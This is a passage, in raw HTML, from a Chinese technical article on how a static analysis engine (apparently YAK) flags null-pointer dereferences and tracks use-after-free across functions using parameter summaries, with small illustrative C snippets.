100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">2.2 NPD</span></span></strong></span></p></div></div></div></div></div><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">NPD 跟「有没有走过判空」绑在一起。</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">if (p)、if (!p)、if (p == NULL)</span></code><span leaf=""> 会把后面分成两路：这一边可以当非空，那一边必须当空。</span></p><p style="text-align: center;padding: 0.5em;" nodeleaf="" data-mpa-action-id="mtlcydk55xh" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.501466275659824" data-s="300,640" data-type="png" data-w="682" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046505" src="https://wechat2rss.xlab.app/img-proxy/?k=70544012&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FTRqgssOzaFibC8a1fIDJUsLLhStZO2POOqAF78TAeNmKLFUibdfAOKWR6ftFXNzQMknwZO54gocVkokbVefdP8XBmKzo1NF0Xo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span leaf=""><span class="code-snippet__keyword">if</span> (p) { </span></code><br/><code><span leaf="">    *p = <span class="code-snippet__number">1</span>; </span></code><br/><code><span leaf="">}           <span class="code-snippet__comment">// 大括号里当非空，不报</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> (!p) { </span></code><br/><code><span leaf="">    <span class="code-snippet__keyword">return</span>; </span></code><br/><code><span leaf="">} </span></code><br/><code><span leaf="">*p = <span class="code-snippet__number">1</span>;  <span class="code-snippet__comment">// 判过空再解引用，一般安全</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">p = <span class="code-snippet__number">0</span>; </span></code><br/><code><span leaf="">p-&gt;x = <span class="code-snippet__number">1</span>;             <span class="code-snippet__comment">// 明明是空还解引用，要报</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">if</span> (c) { </span></code><br/><code><span leaf="">    p = <span class="code-snippet__number">0</span>; </span></code><br/><code><span leaf="">} </span></code><br/><code><span leaf="">p-&gt;x = <span class="code-snippet__number">1</span>;  <span class="code-snippet__comment">// 有的分支置空，并起来说不准，也要报</span></span></code><br/></pre></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">函数调用时以指针作为参数，仅发生</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">值拷贝</span></span></strong><span leaf="">（复制地址本身），不涉及对所指对象的访问，因此不构成解引用。解引用的语义边界在于：</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">是否通过该地址发起了内存访问</span></span></strong><span leaf="">。具体触发解引用的操作包括：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">间接访问运算符 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*p</span></code><span leaf=""> —— 读取/写入所指对象的值</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">箭头运算符 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">p-&gt;field</span></code><span leaf=""> —— 基于地址偏移访问结构体成员</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">下标 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">p[i]</span></code><span leaf="">—— 等价于 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">*(p + i)</span></code><span leaf="">，同样触发访存</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在此之前，指针只是一个整数值的容器，传参阶段不会触碰它指向的内存。</span></p><div data-nest-level="2" data-pm-slice="6 9 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px -12px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">YAK</span></em></strong></p></div></div><div data-nest-level="2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 3px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div data-nest-level="4" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-nest-level="5" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 2px 12px 2px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div data-nest-level="6" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: justify;color: rgb(27, 27, 27);"><p data-nest-level="7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;"><strong data-nest-level="9" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 15px;">2.3 </span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 8px;padding-right: 8px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 15px;">跨过程怎么跟进</span></span></strong></span></p></div></div></div></div></div><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">函数里面的 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">if</span></code><span leaf="">、</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">return</span></code><span leaf=""> 是过程内的事。真正写规则时，释放和解引用经常不在同一个函数里：</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">main</span></code><span leaf=""> 里 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">malloc</span></code><span leaf="">，</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">freep(p)</span></code><span leaf=""> 里才 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code><span leaf="">。引擎不会把 callee 整份控制流再嵌进 caller 走一遍，而是先给每个函数做一份<span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">形</span></span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">参摘要</span></span></strong><span leaf="">，再在调用点上用。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><span textstyle="" style="font-weight: bold;">第一步：每个函数自己报一遍。</span> </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.5em;letter-spacing: 0.1em;text-align: justify;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">扫这个函数的指令，看形参后来发生了什么，记三件事：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">这个形参会不会被 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">free</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">会不会 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: 